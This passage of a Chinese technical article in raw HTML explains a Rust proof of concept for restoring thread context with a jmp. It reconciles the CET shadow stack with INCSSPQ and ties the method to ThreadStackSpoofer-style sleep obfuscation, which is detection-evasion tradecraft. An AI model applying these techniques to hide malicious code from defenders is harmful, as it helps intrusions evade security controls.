SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R15</span></code><span leaf="">接收 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CONTEXT</span></code><span leaf="">指针。它恢复所有 16 个通用寄存器、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EFLAGS</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MXCSR</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">XMM6-XMM15</span></code><span leaf="">（Windows x64 ABI 中的非易失性 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SIMD</span></code><span leaf="">寄存器）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R14</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R15</span></code><span leaf="">最后恢复，因为它们在整个恢复序列中用作基址指针。跳转目标（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CONTEXT.Rip</span></code><span leaf="">）提前加载到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R11</span></code><span leaf="">并在最后使用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">为什么用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(never)]</span></code><span leaf="">而不是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(always)]</span></code><span leaf="">：</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">事情是这样的。如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">被内联，编译器会将汇编直接粘贴到调用者中。没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call</span></code><span leaf="">指令，没有返回地址压入影子栈。CET 对账循环会比较 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[SSP]</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[new_rsp]</span></code><span leaf="">，在第一次迭代就找到匹配，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">永远不会触发。</span><strong><span leaf="">它本来也能工作</span></strong><span leaf="">，但对账就成了死代码。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过使 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">成为真实函数（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(never)]</span></code><span leaf="">），调用者发出 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call user_mode_continue</span></code><span leaf="">指令。那个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call</span></code><span leaf="">将返回地址压入影子栈。由于我们 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">而非 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">，该条目变成过期的。现在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">有了实际工作要做：它必须推进 SSP 越过那个过期条目以重新对齐两个栈。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">两种方法都产生正确行为。区别在于 CET 对账是主动的（inline never）还是被动的（inline always）。我选择主动路径，因为它使 CET 兼容机制成为架构的承重部分，而非一个永远不会触发的理论安全网。如果你要写 CET 对账代码，它应该真正对账些什么。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">关于此选择的诚实说明：</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">让我坦率：在这个特定的 PoC 中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(never)]</span></code><span leaf="">是一个刻意的强制手段。最小调用链（Enum 回调 → </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">→ </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">）在内联下也能正常工作，影子栈无需任何 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">就能保持自然对齐。读者可能会看着这个说：&#34;你制造了一个不存在的问题，只是为了演示修复方案。&#34;</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">公平的批评。但对账循环不是为这个 PoC 的平凡的单函数深度情况设计的。它存在于生产场景中，其中 </span><strong><span leaf="">分叉调用链</span></strong><span leaf="">（从回调到最终 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">的嵌套非返回调用序列）深度大于 1。产生过期影子栈条目的不是每条 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call</span></code><span leaf="">指令，而是专门调用那些</span><em><span leaf="">永不返回</span></em><span leaf="">的函数，因为它们传递性地到达 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">。每个这样的非返回调用都将其返回地址永久留在影子栈上。一些具体例子：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;"><span leaf="">非返回包装器和抽象层。</span></strong><p><span leaf="">在任何结构良好的代码库中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">不会从回调中裸调用。你会有一个选择系统调用策略的调度函数、一个包装原始汇编的模块级 API，或两者兼有。如果回调调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">prepare_and_execute()</span></code><span leaf="">函数，后者再调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">，那就是 2 个过期条目（每个非返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call</span></code><span leaf="">一个）。加上 trait 实现或模块边界，就到了 3 个。正常的代码组织使这不可避免。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><span leaf="">动态分派。</span></strong><p><span leaf="">如果上下文切换位于 trait 对象、vtable 或函数指针之后（例如在运行时选择 CET 和非 CET 路径），间接 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call</span></code><span leaf="">在分叉链中增加一帧。那是你在源码中没有写的又一个过期条目。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><span leaf="">取决于代码路径的可变深度。</span></strong><p><span leaf="">如果代码的不同分支通过不同数量的非返回中间者到达 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">（快速路径：1 个包装器；错误/重试路径：2 个包装器），过期条目计数在运行时变化。循环（扫描最多 16 个）处理这种情况，无需你在编译时知道确切计数。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">与睡眠混淆的集成。</span></strong><p><span leaf="">结合基于定时器的混淆（ThreadStackSpoofer 风格），上下文恢复从睡眠 API 的回调链内部发生。累积的非返回帧的确切深度取决于定时器在哪里触发以及当时睡眠实现有多深。对账循环自然处理可变深度。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在任何这些场景中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">都会真正触发。没有它，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a class="wx_topic_link" topic-id="mrmb41h7-ftun0x" style="color: #576B95 !important;" data-topic="1" data-recommend="">#CP</a></span></code><span leaf="">异常，进程死亡，没有第二次机会。PoC 使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(never)]</span></code><span leaf="">将此路径置于受控负载下，以便我能在可调试环境中验证其正确性，然后再在过期条目自然出现且诊断 CET 异常显著更困难的上下文中依赖它。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">关于 AlignedContext：</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你会注意到代码使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AlignedContext</span></code><span leaf="">而非裸 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CONTEXT</span></code><span leaf="">：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">#[repr(C, align(16))]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">AlignedContext</span></span><span leaf="">(CONTEXT);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这不是装饰性的。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">movdqa</span></code><span leaf="">指令（用于 XMM 寄存器恢复）需要 16 字节对齐的内存。如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CONTEXT</span></code><span leaf="">结构体未对齐到 16 字节，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">movdqa</span></code><span leaf="">会引发 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a class="wx_topic_link" topic-id="mrmb41h7-t6y9h5" style="color: #576B95 !important;" data-topic="1" data-recommend="">#GP</a></span></code><span leaf="">（通用保护）异常，进程死亡。Rust 默认不保证 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CONTEXT</span></code><span leaf="">结构体的 16 字节对齐，所以包装器强制了它。如果你尝试在没有对齐包装器的情况下重新实现，你会得到看似随机的崩溃，调试起来极其恼人。问我是怎么知道的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后一条指令是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp r11</span></code><span leaf="">，不是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">。这是 CET 兼容的关键（在第 6 节中解释）。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5.7 关于 RAX 的说明：你无法取回它</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这项技术有一个值得强调的固有局限：你无法恢复 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">的返回值（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RAX</span></code><span leaf="">）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">原因如下。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">执行后，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 